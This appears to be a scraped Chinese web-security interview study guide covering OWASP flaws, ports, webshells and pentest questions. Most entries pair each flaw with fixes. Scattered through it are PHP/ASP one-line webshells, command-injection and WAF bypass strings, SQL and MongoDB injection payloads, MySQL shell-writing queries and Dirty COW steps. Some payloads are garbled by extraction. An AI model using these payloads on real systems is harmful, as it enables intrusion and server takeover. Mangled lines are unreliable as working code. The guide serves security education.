网站开发需要的技能,专业番禺网站建设,园林景观设计公司质量环境职业健康安全管控,wordpress的主题是什么意思0x00.基础漏洞篇
00-TOP10漏洞
1.SQL注入
2.失效的身份认证和会话管理
3.跨站脚本攻击XSS
4.直接引用不安全的对象
5.安全配置错误
6.敏感信息泄露
7.缺少功能级的访问控制
8.跨站请求伪造CSRF
9.实验含有已知漏洞的组件
10.未验证的重定向和转发
01-SQL注入漏洞
…0x00.基础漏洞篇
00-TOP10漏洞
1.SQL注入
2.失效的身份认证和会话管理
3.跨站脚本攻击XSS
4.直接引用不安全的对象
5.安全配置错误
6.敏感信息泄露
7.缺少功能级的访问控制
8.跨站请求伪造CSRF
9.实验含有已知漏洞的组件
10.未验证的重定向和转发
01-SQL注入漏洞
原理产生SQL注入漏洞的根本原因在于代码中没有对用户输入项进行验证和处理便直接拼接 到查询语句中。利用SQL注入漏洞攻击者可以在应用的查询语句中插入自己的SQL代码并传递 给后台SQL服务器时加以解析并执行。
分类
1.显注
2.盲注无回显 时间型、布尔型、报错型
危害
1.数据库信息泄露
2.网页篡改
3.网站被挂马传播恶意软件
4.数据库被恶意操作
5.服务器被植入后门
6.破坏硬盘或者服务器等硬件设备
如何进行SQL注入的防御
1.关闭应用的错误提示
2.加waf
3.对输入进行过滤
4.限制输入长度
5.限制好数据库权限drop/create/truncate等权限谨慎grant
6.预编译好sql语句python和Php中一般使用?作为占位符。这种方法是从编程框架方面解 决利用占位符参数的sql注入只能说一定程度上防止注入。还有缓存溢出、终止字符等。 7.数据库信息加密安全引导到密码学方面。不采用md5因为有彩虹表一般是一次md5后 加盐再md5
8.清晰的编程规范结对/自动化代码review加大量现成的解决方案PreparedStatementActiveRecord歧义字符过滤 只可访问存储过程 balabala已经让SQL注入的风险变得非常低了。
绕过技术
1关键字可以用%只限 IIS 系列。比如 select可以 sel%e%ct
2通杀的内联注释如 /!select/
3编码可两次编码
4multipart 请求绕过在 POST 请求中添加一个上传文件绕过了
绝大多数 WAF
5参数绕过复制参数id1id1
6组合法 如 and 可以用再 URL 编码
7、替换法如 and 改成;可以用 like 或 in 等
02-CSRF漏洞
原理CSRF跨站点请求伪造。攻击者盗用了受害者的身份以受害者的名义发送恶意请求对 服务器来说这个请求是完全合法的但是却完成了攻击者所期望的一个操作
危害
1、对网站管理员进行攻击
2、修改受害网站上的用户账户和数据
3、账户劫持
4、传播CSRF蠕虫进行大规模攻击
5、利用csrf进行拖库
6、利用其他漏洞进行组合拳攻击
7、针对路由器的csrf攻击
如何防护
尽量使用POST限制GET
浏览器Cookie策略
加验证码
Referer Check
Anti CSRF Token
03-文件包含漏洞
类型
1.本地文件包含
2.远程文件包含 即加载远程文件在php.ini中开allow_url_include 、 allow_url_fopen选项。开启后可以直接执行任意代码。
PHP文件包含函数
1.include()使用此函数只有代码执行到此函数时才将文件包含进来发生错误时只警告 并继续执行。
2.inclue_once()功能和前者一样区别在于当重复调用同一文件时程序只调用一次。 3.require()使用此函数只要程序执行立即调用此函数包含文件发生错误时会输出 错误信息并立即终止程序。
4.require_once()功能和前者一样区别在于当重复调用同一文件时程序只调用一 次。
利用
1.读取敏感文件
2.远程包含shell
3.图片上传并包含图片shenll
4.使用伪协议
5.包含日志文件GetShell
6.截断包含
修复方案
1.禁止远程文件包含allow_url_includeoff
2.配置open_basedir指定目录限制访问区域。
3.过滤 …/等特殊符号
4.修改Apache日志文件的存放地址
5.开启魔术引号magic_quotes_qpcon
6.尽量不要使用动态变量调用文件直接写要包含的文件。 04-文件上传漏洞
原理由于程序员在对用户文件上传功能实现代码没有严格限制用户上传文件后缀
以及文件类型或者处理缺陷而导致用户可以越过本身权限向服务器上传木马去控制服务器 .
危害
操作木马文件提权 获取网站权限
绕过方法
1.黑名单
a.后缀名不完整 .php5 .phtml等
b.上传 .htacess
c.大小写
d.在数据包中 后文件缀名前加空格
e.后缀名前加 .
f.加上::$DATA
g.未循环验证可以使用x.php…类似的方法
2.白名单一般需要配合其他漏洞一起利用
a.%00截断
b.图片马
c.条件竞争
修复
1.后端验证采用服务端验证模式
2.后缀验证基于白名单黑名单过滤
3.MIME验证基于上传自带类型艰检测
4.内容检测文件头完整性检测
5.自带函数过滤
6.WAF防护软件宝塔、云盾等
05-SSRF漏洞
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
ssrf危害
探测内网信息 ,用协议探ftp%26ip{ip}%26port{port}攻击内网或本地其他服务穿透防火墙
具体利用的方式
具体操作需要查看支持的协议file协议查看文件、dict协议探测端口、ophergopher协议 支持GETPOST请求同时在攻击内网ftp、redis、telnet、Memcache上有极大作用利用 gopher协议访问redis反弹shell
漏洞存在的地方
1.能够对外发起网络请求的地方
2.请求远程服务器资源的地方
3.数据库内置功能
4.邮件系统
5.文件处理
6.在线处理工具
举几个例子
1.在线识图在线文档翻译分享订阅等这些有的都会发起网络请求。 2.根据远程URL上传静态资源图片等这些会请求远程服务器的资源。 3.数据库的比如mongodb的copyDatabase函数这点看猪猪侠讲的吧没实践过。 4.邮件系统就是接收邮件服务器地址这些地方。
5.文件就找ImageMagickxml这些。
6.从URL关键字中寻找比如source,share,link,src,imageurl,target等。
绕过姿势
1.http://example.com127.0.0.1
2.利用IP地址的省略写法绕过 ,[::]绕过localhost
3.DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名xip.io 4.利用八进制IP地址绕过 ,利用十六进制IP地址 ,绕过利用十进制的IP地址绕过
修复
1.地址做白名单处理
2.域名识别IP 过滤内部IP
3.校验返回的内容对比是否与假定的一致
06-逻辑漏洞 1.挖过的逻辑漏洞
订单任意金额修改
相同价格增加订单数量相同订单数量减少产品价格订单价格设定为负数。 预防思路
- 订单需要多重效验
- 订单数值较大的时候需要人工审核
2.验证码回传
漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮 箱邮件
预防思路
- response数据内不包含验证码验证方式主要采取后端验证但是缺点是服务器的运算压 力也会随之增加
- 如果要进行前端验证的话也可以但是需要进行加密
3.未进行登陆凭证验证
有些业务的接口因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷导致黑客可以未 经授权访问这些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没 验证ID或cookie验证导致越权。
预防思路
- 对敏感数据存在的接口和页面做cookiessidtoken或者其它验证
4.接口无限制枚举
- 某电商登陆接口无验证导致撞库
- 某招聘网验证码无限制枚举
- 某快递公司优惠券枚举
- 某电商会员卡卡号枚举
预防思路
- 在输入接口设置验证如token验证码等。如果设定验证码最好不要单纯的采取一个前 端验证最好选择后端验证。如果设定token请确保每个token只能采用一次并且对 token设定时间参数。
- 注册界面的接口不要返回太多敏感信息以防遭到黑客制作枚举字典。
- 验证码不要用短数字尽量6位以上最好是以字母加数字进行组合并且验证码需要设定 时间期限。
- 优惠券VIP卡号请尽量不要存在规律性和简短性并且优惠券最好是以数字加字母进行组 合
5.cookie设置存在缺陷
- Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单导致黑客可以 对cookie的效验值进行一个枚举 .
- cookie存在被盗风险即用户重置密码后使用老cookie依然可以通过验证
- 用户的cookie数据加密应严格使用标准加密算法并注意密钥管理。不能采取简单的 base64等算法
- 越权平行越权权限类型不变权限ID改变垂直越权权限ID不变权限类型改变交 叉越权即改变ID也改变权限
预防思路
1.cookie中设定多个验证比如自如APP的cookie中需要sign和ssid两个参数配对才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码一旦密码改变cookie的值也会改变。
4.cookie中设定session参数以防cookie可以长时间生效。
5.根据业务不同还有很多方法
07-XSS漏洞
原理: 通过插入恶意脚本实现对用户浏览器的攻击
类型: 存储、反射、dom
反射和dom的区别: DOM-XSS是javascript处理输出 而反射性xss是后台程序处理
XSS绕过
1.大小写
2.js伪协议
3.没有分号
4.Flash
5.Html5新标签
6.Fuzz进行测试
7.双层标签绕过
修复防御
1.对输入内容的特定字符进行编码例如表示html标记的 等符号。
2.对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取 cookie此 HTTP头由服务端设置。
3.将不可信的值输出URL参数之前进行URLEncode操作而对于从URL参数中获取值一定要 进行格式检测比如你需要的时URL就判读是否满足URL格式。
4.不要使用Eval来解析并运行不确定的数据或代码对于JSON解析请使用 JSON.parse() 方法。
08-XXE漏洞
原理: 解析用户传入的xml
作用: 内网端口扫描、利用file协议等读取文件、攻击内网web应用使用get(struts2等)
危害
1.导致可以加载恶意外部文件
2.造成文件读取
3.内网端口扫描
4.攻击内网网站
5.发起dos攻击等危害
防御: 过滤用户提交的XML数据、如果你当前使用的程序为PHP则可以将 libxml_disable_entity_loader设置为TRUE来禁用外部实体从而起到防御的目的
09-代码执行漏洞
原理没有对接口输入的内容进行严格的判断 造成攻击者精心构造的代码非法执行
当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时没有考虑用户是否能控 制这个字符串这就会造成代码执行漏洞。
相关函数
PHPeval assert
Pythonexec
asp%CreateObject(“wscript.shell”).exec(“cmd.exe /c
ipconfig”).StdOut.ReadAll()%
危害
执行代码
让网站写shell
甚至控制服务器
漏洞利用
执行代码的函数eval、assert
callback函数preg_replace /e模式
反序列化unserialize()(反序列化函数)
防御修复
1.使用json保存数组当读取时就不需要使用eval了
2.对于必须使用eval的地方一定严格处理用户数据
3.字符串使用单引号包括可控代码插入前使用addslashes转义
4.放弃使用preg_replace的e修饰符使用preg_replace_callback()替换
5.若必须使用preg_replace的e修饰符则必用单引号包裹正则匹配出的对象
10.关于路径覆盖漏洞不常问
RPO的全称为Relative Path Overwrite,也就是相对路径覆盖利用客户端和服务端的差 异通过相对路径来引入我们想要的js或css文件从而实现某种攻击。
就目前来看此攻击方法依赖于浏览器和网络服务器的反应基于服务器的Web缓存技术和配置 差异以及服务器和客户端浏览器的解析差异利用前端代码中加载的css/js的相对路径来加 载其他文件最终浏览器将服务器返回的不是css/js的文件当做css/js来解析从而导致 XSS信息泄露等漏洞产生
11.邮件系统漏洞攻击
漏洞攻击是危害网络安全中较为常见的一种。作为当今世界上使用最为频繁的商务通信工具—— 邮件系统更是屡屡遭受漏洞攻击的困扰这不仅因为制造漏洞的途径多还以为邮件系统的 互联网通信协议本身的问题。前者如程序员因为工作失误出现编码漏洞毕竟人非机器在紧 张复杂的工作过程中难免有个闪失除了人为因素还有软件编码工具及编译器造成的错 误不同应用程序彼此之间的相互作用如大多数程序必须与其它API相交互保存并检索文 件同时运行在多种不同类型的设备上都会可能产生漏洞后者如互联网通信协议—TCP和 UDP其开放性常常引来黑客的攻击而IP地址的脆弱性也给黑客的伪造提供了可能从而 泄露远程服务器的资源信息。
除了以上原因据业界知名邮件通联服务商U-Mail专家张工分析常见漏洞大概可分为几种
一、IMAP 和 POP 漏洞
这些协议常见弱点是密码脆弱同时各种IMAP和POP服务还容易受到如缓冲区溢出等类型的 攻击。
二、拒绝服务DoS攻击
1.死亡之Ping——发送一个无效数据片段该片段始于包结尾之前但止于包结尾之后 2.同步攻击——极快地发送TCP SYN包它会启动连接使受攻击的机器耗尽系统资源进而 中断合法连接
3.循环——发送一个带有完全相同的源 目的地址端口的伪造SYN包使系统陷入一个试图完 成TCP连接的无限循环中。
三、系统配置漏洞
1.默认配置——大多数系统在交付给客户时都设置了易于使用的默认配置被黑客盗用变得轻 松2.空的默认根密码——许多机器都配置了空的或默认的根管理员密码并且其数量多得 惊人
3.漏洞创建——几乎所有程序都可以配置为在不安全模式下运行这会在系统上留下不必要的漏 洞。
四、利用软件问题在服务器守护程序、客户端应用程序、操作系统和网络堆栈中存在很多 的软件错误分为以下几类
1.缓冲区溢出——程序员会留出一定数目的字符空间来容纳登录用户名黑客则会通过发送比指 定字符串长的字符串其中包括服务器要执行的代码使之发生数据溢出造成系统入侵。
2.意外组合——程序通常是用很多层代码构造而成的入侵者可能会经常发送一些对于某一层毫 无意义但经过适当构造后对其他层有意义的输入。
3.未处理的输入——大多数程序员都不考虑输入不符合规范的信息时会发生什么。
12-DNS欺骗是什么
定义 DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。
原理如果可以冒充域名服务器然后把查询的IP地址设为攻击者的IP地址这样的话用户 上网就只能看到攻击者的主页而不是用户想要取得的网站的主页了这就是DNS欺骗的基本 原理。 DNS欺骗其实并不是真的“黑掉”了对方的网站而是冒名顶替、招摇撞骗罢了。
13-DDOS攻击
分布式拒绝服务攻击DDoS是目前黑客经常采用而难以防范的攻击手段。DoS的攻击方式有 很多种最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源从而使合法用户 无法得到服务的响应。
抗D思想和方案
负载均衡
花钱买流量清洗服务
CDNweb层比如cc攻击
分布式集群防御
高防防大部分攻击udp、大型的cc攻击
预防为主
系统漏洞
系统资源优化
过滤不必要的服务和端口
限制特定流量检查访问来源做适当限制
14-什么是CC攻击
CC攻击是DDOS分布式拒绝服务的一种相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到真实源IP见不到特别大的异 常流量但造成服务器无法进行正常连接。CC攻击的原理就 是攻击者控制某些主机不停地发 大量数据包给对方服务器造成服务器资源耗尽 一直到宕机溃。CC主要是用来攻击页面的 每个人都有这样的体验当一个 网页访问的人数特别多的时候打开网页就慢了CC就是模 拟多个用户多少 线程就是多少用户不停地进行访问那些需要大量数据操作就是需要大量 CPU时间的页面造成服务器资源的浪费CPU长时间处100%永远都有处 理不完的连接直 至就网络拥塞正常的访问被中止。
15-常见的端口和对应的服务
1、web类
这部分常有的漏洞有 web漏洞/敏感目录第三方通用组件漏洞struts、thinkphp、 jboss、ganglia、zabbix
80 web
80-89 web
8000-9090 web
2、数据库类扫描弱口令
1433MSSQL1521Oracle3306MySQL5432PostgreSQL
3、特殊服务类未授权/命令执行/漏洞
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001、7002 weblogic默认弱口令、反序列化
9200、9300 elasticsearch 参考乌云多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
50000 SAP命令执行
50070、50030 hadoop默认端口未授权访问
4、常用端口类扫描弱口令/端口爆破
21 ftp
22 ssh
23 telnet
2601、2604 zebra路由默认密码zebra
3389 远程桌面
常见的端口漏洞
21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破
22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密 码 可能会登入进去
23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令
25 smtp 默认用户 默认密码 邮件账号爆破
80 http web 常见的Owasp top 10 中间件反序列化 中间件溢出 fastcgi配置不 当 造成fastcgi端口泄露
110 pop3 默认用户 默认密码 邮件账号爆破
443 https openssl 心脏滴血影响范围较小 SSL/TLS低版本存在的漏洞
135 139 445 netbios smb MS17010
3389 RDP CVE-2019-0708
3389和443、445有什么漏洞
445ms06_040蠕虫勒索病毒、MS17-010
443ssl心脏滴血
3389rdp漏洞、弱口令、cve-2019-0708、ms12-20
端口合计详情
161 SNMP
389 LDAP
512、513、514 Rexec
873 Rsync未授权
1025、1111 NSF
1433 sqlserver
1521 Oracle iSqlPlus port5560、7778 2082/2083 cpanel主机管理系统登录
2222 DA虚拟主机管理系统登录
2601、2604 zebra路由默认密码zebra
3128 squid代理默认端口如果没设置口令很可能直接漫游内网
3306 Mysql
3312/3311 kangle主机管理系统登录
4440 rundeck 参考乌云借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB
6082 varnish
6379 redis未授权
7001、7002 weblogic默认弱口令、反序列化
7778 kloxo主机控制面板登录
8000-9090 都是一些常见的web端口有些运维谢欢吧管理后台开放在这些非80端口上
8080 tomcat/wDCP主机管理系统默认弱口令
8080、8089、9090 jboss
8083 Vestacp主机管理系统
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200、9300 elasticsearch 参考乌云多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017、27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070、50030 hadoop默认端口未授权访问
16-身份认证漏洞最常见是
1.会话固定攻击
2.cookie仿冒
只要得到session和cookie即可伪造用户身份
17-验证码漏洞
1.验证码漏洞存在暴力破解
2.可以通过js或改包方法进行绕过
18-DOM 型XSS人工测试
人工测试思路找到类似 document.write、innerHTML赋值、outterHTML 赋值、 window.location 操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执行之类的函数点。找到其变量回溯变量来源观察是否可控是否经 过安全函数。
19-为什么参数化查询可以防止SQL注入
原理: 使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行是在数 据库完成sql指令的编译后才套用参数运行
简单的说: 参数化能防注入的原因在于 ,语句是语句参数是参数参数的值并不是语句的一 部分数 据库只按语句的语义跑
20.各种常见的状态码
200 OK //客户端请求成功
403 Forbidden //服务器收到请求但是拒绝提供服务
404 Not Found //请求资源不存在eg输入了错误的 URL
500 Internal Server Error //服务器发生不可预期的错误
21-Dll劫持漏洞
由于输入表中只包含DLL名而没有它的路径名因此加载程序必须在磁盘上搜 索 DLL 文件。首先会尝试从当前程序所在的目录加载DLL如果没找到则在 Windows系统目录中查找最后是在环境变量中列出的各个目录下查找。利用 这个特点先伪造一个系统同名的DLL提供同样的输出表每个输出函数转向
真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的 DLL完成相关功能后再 跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持 hijack了。伪造的dll制作好后放到程序当前目录下这样当原程序调用原函数时就调 用了伪造的dll的同名函数进入劫持DLL的代码处理完毕后再调用原DLL此函数。
DLL劫持利用系统未知DLL的搜索路径方式使得程序加载当前目录下的系统同名DLL。所以可 以告诉系统DLL的位置改变加载系统DLL的顺序不是当前目录而是直接到系统目录下查找。
22-一句话木马
asp一句话木马 %execute(request(“value”))%
php一句话木马?phpeval($_POST[value]);?
变形?php$x$_GET[‘z’];eval(“$x;”);?
aspx一句话木马
% PageLanguage“Jscript”%
%eval(Request.Item[“value”])%
23-命令执行漏洞 绕过技巧
cat 233.txt # 管道符号绕过
\# 空格绕过 ${IFS}
\# %0a、%09 # 重定向绕过
\# 变量拼接绕过 kali:$ ac;bat;cfl;dag;$a$b $c$d
\# 单引号、双引号绕过 cat flag cat flag
\# 编码绕过
$(printf \x63\x61\x74\x20\x2f\x66\x6c\x61\x67) cat /flag
#{printf,\x63\x61\x74\x20\x2f\x66\x6c\x61\x67} |\$0 cat /flag
#$(printf \154\163) ls
$(printf \154\163)
# 查看等价替换
(1)more:一页一页的显示档案内容
(2)less:与more类似但是比more更好的是他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl显示的时候顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器
(9)vim:一种编辑器
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容 # 反斜线绕过 c\at fl\ag
# 内敛注释绕过 #命令和$(命令)都是执行命令的方式 echo m0recat flag echo m0re $(cat flag)
# base64编码绕过 echo Y2F0IGZsYWc |base64 -d
# 绕过长度限制
# 命令会将原有文件内容覆盖 echo 123xxoo.txt # 符号的作用是将字符串添 加到文件内容末尾不会覆盖原内容 echo 233xxoo.txt# 命令换行绕过
ca\
a\0x01.渗透思路篇
00-拿到目标站以后的渗透思路
渗透测试流程
1. 项目前期准备工作
2. 信息收集whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、 数据库类型、二级域名、防火墙、维护者信息
3. 漏洞扫描Nessus, AWVS
4. 手动挖掘逻辑漏洞
5. 验证漏洞
6. 修复建议
7. 如果有基线检查/复验漏洞
8. 输出报告01-sleep函数被禁用后怎么进行sql注入
BENCHMARKGet_lock函数当都被禁用后可以用计算量比较大的语句使数据库查询时间变 长从而达到延时注入的效果。
mysqlAND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
02-哪些地方存在xxe架构问题
xxe常见场景是如pdf在线解析、word在线解析、定制协议留言板等跟逻辑设计有关而与 语言无关最好是不要让XML作为参数传输或整体结构可被用户篡改。如果一定要使用至少 要禁用DTD、Entity。
xxe危害 读取本地文件执行系统命令探测内网端口攻击内网服务
探测内网端口的协议有gopher file dict不同语言支持不同的协议是具体情况而定 file http ftp是常用的
防范python用lxml时可以对resolve_entities设为false。或者过滤用户提交的xml
客户端也可以有xxe攻击有的网站会使用office打开docx进行解析
Java解析XML的常用三方库如果不禁用DTD、Entity都会导致XXE漏洞
javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory03-如何绕过Http-only
HTTP-Only禁止的是JS读取cookie信息Http Trace攻击就可以将你的Header里的 Cookie回显出来利用Ajax或者flash就可以完成这种攻击或者配置或者应用程序上可能 Bypass比如header头的泄漏
04-如何绕过CDN查真实IP
1.多地ping看是否有cdn
2.邮件订阅或者rss订阅
3.二级域名可能不会做cdn
4.nslookup http://xxx.com 国外dns
5.查找域名历史解析记录因为域名在上 05-SQL二次注入
第一次进行数据库插入数据的时候仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义在写入数据库的时候还是保留了 原来的数据但是数据本身还是脏数据。在将数据存入到了数据库中之后开发者就认为数据 是可信的。在下一次进行需要进行查询的时候直接从数据库中取出了脏数据没有进行进一 步的检验和处理这样就会造成SQL的二次注入。
交友网站填写年龄处是一个注入点页面会显示出与你相同年龄的用户有几个。使用and 11确定注入点用order by探测列数union select探测输出点是第几列
爆库 group_concat(schema_name) from information_schema.schemata爆表 group_concat(table_name) from information_schema.schemata where table_schemahhh获取数据 concat(flag) from flag
修复在从数据库或文件中取数据的时候也要进行转义或者过滤。
06-GPC是什么GPC之后怎么绕过
如果magic_quotes_gpcOnPHP解析器就会自动为post、get、cookie过来的数据 增加转义字符“\”以确保这些数据不会引起程序特别是数据库语句因为特殊字符认为是 php的字符引起的污染.
07-如何防范webshell
防范的措施大概有三种
第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件解析成其他类型的文件 服务器不会以脚本类型来执行它。
第二种是匹配文件夹里的脚本类型文件将其设置为无法读取及操作。
第三种是将文件上传到一个单独的文件夹给一个二级的域名然后不给这个虚拟站点解析脚 本的权限听说很多网站都用这种方式
08-webshell检查思路
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境也可以 将其称做为一种网页后门。
黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件是一个合法的TCP连接 TCP/IP的应用层之下没有任何特征只能在应用层进行检测。黑客入侵服务器使用 webshell不管是传文件还是改文件必然有一个文件会包含webshell代码很容易想到 从文件代码入手这是静态特征检测webshell运行后B/S数据通过HTTP交互HTTP请 求/响应中可以找到蛛丝马迹这是动态特征检测。
静态检测
静态检测通过匹配特征码特征值危险函数函数来查找webshell的方法只能查找已知的 webshell并且误报率漏报率会比较高但是如果规则完善可以减低误报率但是漏报率 必定会有所提高。优点是快速方便对已知的webshell查找准确率高部署方便一个脚本 就能搞定。缺点漏报率、误报率高无法查找0day型webshell而且容易被绕过。
静态检测配合人工
一个检查工具 https://github.com/he1m4n6a/findWebshell
动态检测
Linux下就是nobody用户起了bashWin下就是IIS User启动cmd这些都是动态特征。 再者如果黑客反向连接的话那很更容易检测了Agent和IDS都可以抓现行。Webshell总 有一个HTTP请求如果我在网络层监控HTTP并且检测到有人访问了一个从没反问过得文 件而且返回了200则很容易定位到webshell这便是http异常模型检测就和检测文件 变化一样如果非管理员新增文件则说明被人入侵了。缺点也很明显黑客只要利用原文件 就很轻易绕过了并且部署代价高网站时常更新的话规则也要不断添加。
日志检测
使用Webshell一般不会在系统日志中留下记录但是会在网站的web日志中留下Webshell页 面的访问数据和数据提交记录。 日志分析检测技术通过大量的日志文件建立请求模型从而检测 出异常文件称之为HTTP异常请求模型检测。
寻找webshell
1.自动化查找 D盾 河马 fotify
2.手动查找 windows sublime 全文件夹查找 IDE PHPSTORM 全局查找 Linux 命令查找 grep -rn eval( *
webshell特征 PHP的危险函数
还有phar ?php XXXXX
09-如何查找DNS解析记录 1. 查看浏览器缓存
2. 查看系统缓存
3. 查看路由器缓存
4. 查找ISP DNS缓存
5. 递归搜索。根据网址发送一个DNS请求UDP请求端口为543会请求一个 DNS服务 器DNS服务器会不断递归查找这个网址的IP10- 登录页面的漏洞
注入点以及万能密码敏感信息泄露验证码绕过无限注册帐号任意密码重置明文传输越权漏洞
11-如何快速判定XSS类型
存储型XSS
你发送一次带XSS代码的请求以后这个页面的返回包里都会有XSS代码
反射型XSS
你发送一次带XSS代码的请求只能在当前返回的数据包中发现XSS代码
DOM型XSS
你发送一次带XSS代码的请求在返回包里压根儿就找不到XSS代码的影子
CSP策略浏览器内容安全策略减少xss攻击。
12-CSRF、SSRF和重放攻击有什么区别
- CSRF是跨站请求伪造攻击由客户端发起
- SSRF是服务器端请求伪造由服务器发起
- 重放攻击是将截获的数据包进行重放达到身份认证等目的
13-CSRF 和 XSS 和 XXE 有什么区别以及修复方式
XSS是跨站脚本攻击用户提交的数据中可以构造代码来执行从而实现窃取用户信息等攻 击。修复方式对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、 输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击XSS是实现CSRF的诸多手段中的一种是由于没有在关键操作执行 时进行是否由用户自愿发起的确认。修复方式筛选出需要防范CSRF的页面然后嵌入Token、 再次输入密码、检验Referer.
XXE是XML外部实体注入攻击XML中可以通过调用实体来请求本地或者远程内容和远程文件 保护类似会引发相关安全问题例如敏感文件读取。修复方式XML解析库在调用时严格禁 止对外部实体的解析。 14-MongoDB注入方式
利用正则找到y开头的name db.items.find({name: {$regex:^y}})一些payload
1.?login[$regex]^password[$regex]^
2.?login[ n o t ] [ not][ not][type]1password[ n o t ] [ not][ not][type]1
15-mysql的网站5.0以上和5.0以下有什么区别
5.0以下没有information_schema这个系统表无法列表名等只能暴力跑表名。5.0以下是多用户单操作5.0以上是多用户多操作
16-MySQL写shell的问题
1.写shell用什么函数
- select ?php phpinfo() into outfile D:/shelltest.php
- dumpfile
- file_put_contents
2.outfile不能用了怎么办 select unhex(udf.dll hex code) into dumpfile c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll;可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html
3.dumpfile和outfile有什么不一样outfile适合导库在行末尾会写入新行并转义 因此不能写入二进制可执行文件。
4.sleep()能不能写shell
5.写shell的条件
- 用户权限
- 目录读写权限
- 防止命令执行disable_functions禁止了
disable_functionsphpinfo,exec,passthru,shell_exec,system,proc_ope n,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source但是可 以用dl扩展执行命令或者ImageMagick漏洞
https://www.waitalone.cn/imagemagic-bypass-disable_function.html
open_basedir: 将用户可操作的文件限制在某目录下
mysql写shell的条件
1、网站可访问路径的绝对路径
2、secure_file_priv 的值非NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置这个参数用来限制数据导入导出 Mysql5.5.53 默认为NULL即默认禁止导入导出
Mysql5.5.53 默认为空即默认无限制
3、mysql服务有对网站可访问路径的写权限
4、mysql连接用户有FILE权限/ROOT用户或ROOT权限
5、GPC关闭//未对闭合用的引号转义
outfile 和 dumpfile的路径不支持hex必须有引号包裹 mysql日志写shell
与导出函数写Shell相比规避了 secure_file_priv 的限制
1.网站可访问路径的绝对路径
2.mysql服务有对网站可访问路径的写权限
3.mysql连接用户有权限开启日志记录和更换日志路径/ROOT权限
4.GPC关闭/未对闭合用的引号转义
虽然日志路径可以hex编码但被记入日志的查询语句中的shell内容需要引号包裹加 \后传到数据库执行会报错无法记录进日志
root权限
GPC 关闭能使用单引号magic_quotes_gpcOn
有绝对路径读文件可以不用写文件必须
没有配置–secure-file-priv
成功条件有读写的权限有 create、insert、select 的权限
17-disable functions 绕过
黑名单总有漏网之鱼多尝试一些函数LD_PRELOAD原理就是劫持系统函数使程序加载恶意动态链接库文件从而执行系统 命令等敏感操作lmageMagick利用lmageMagick命令执行漏洞CVE-2016-3714Windows系统组件COM绕过PHP7.4FFI绕过利用Bash破壳CVE-2014-6271漏洞绕过利用imap_open()绕过CVE-2018-19518利用pcntl插件绕过
18-拿到webshell不出网情况下怎么办
reg上传去正向连接。或探测出网协议如dnsicmp
19-脏牛提权漏洞
脏牛漏洞Dirty COW CVE-2016-5195
漏洞范围Linux内核 2.6.22
简要分析该漏洞具体为Linux内核的内存子系统在处理写入复制copy-on-write, COW时产生了竞争条件 race condition。恶意用户可利用此漏洞来获取高权限对 只读内存映射进行写访问。竞争条件指的是任务执行顺序异常可导致应用崩溃或令攻击 者有机可乘进一步执行其他代码。利用这一漏洞攻击者可在其目标系统提升权限甚至可 能获得root权限
步骤
1.查看系统版本和用户权限
2.下载exp到本地 使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c 进行编译生成一个dirty的可执行文件
3.执行 ./dirty 密码命令即可进行提权
20-sqlmap的–level和–risk的区别
level级别越高发送的请求越多并且在level3以上时会尝试对referer注入。
而risk则是风险系数默认是1会测试大部分的测试语句2会增加基于事件的测试语句3会 增加OR语句的QL注入测试。在有些时候例如在UPDATE的语句中注入一个OR的测试语句 可能导致更新的整个表可能造成很大的风险
21-存储型XSS怎么利用
XSS攻击的原理是通过修改或者添加页面上的JavaScript恶意脚本在浏览器渲染页面的时 候执行该脚本从而实现窃取COOKIE或者调用Ajax实现其他类型的CSRF攻击还可以插入 beef进行钓鱼等
CORS浏览器同源策略
js ajax 去请求其他网站的东西
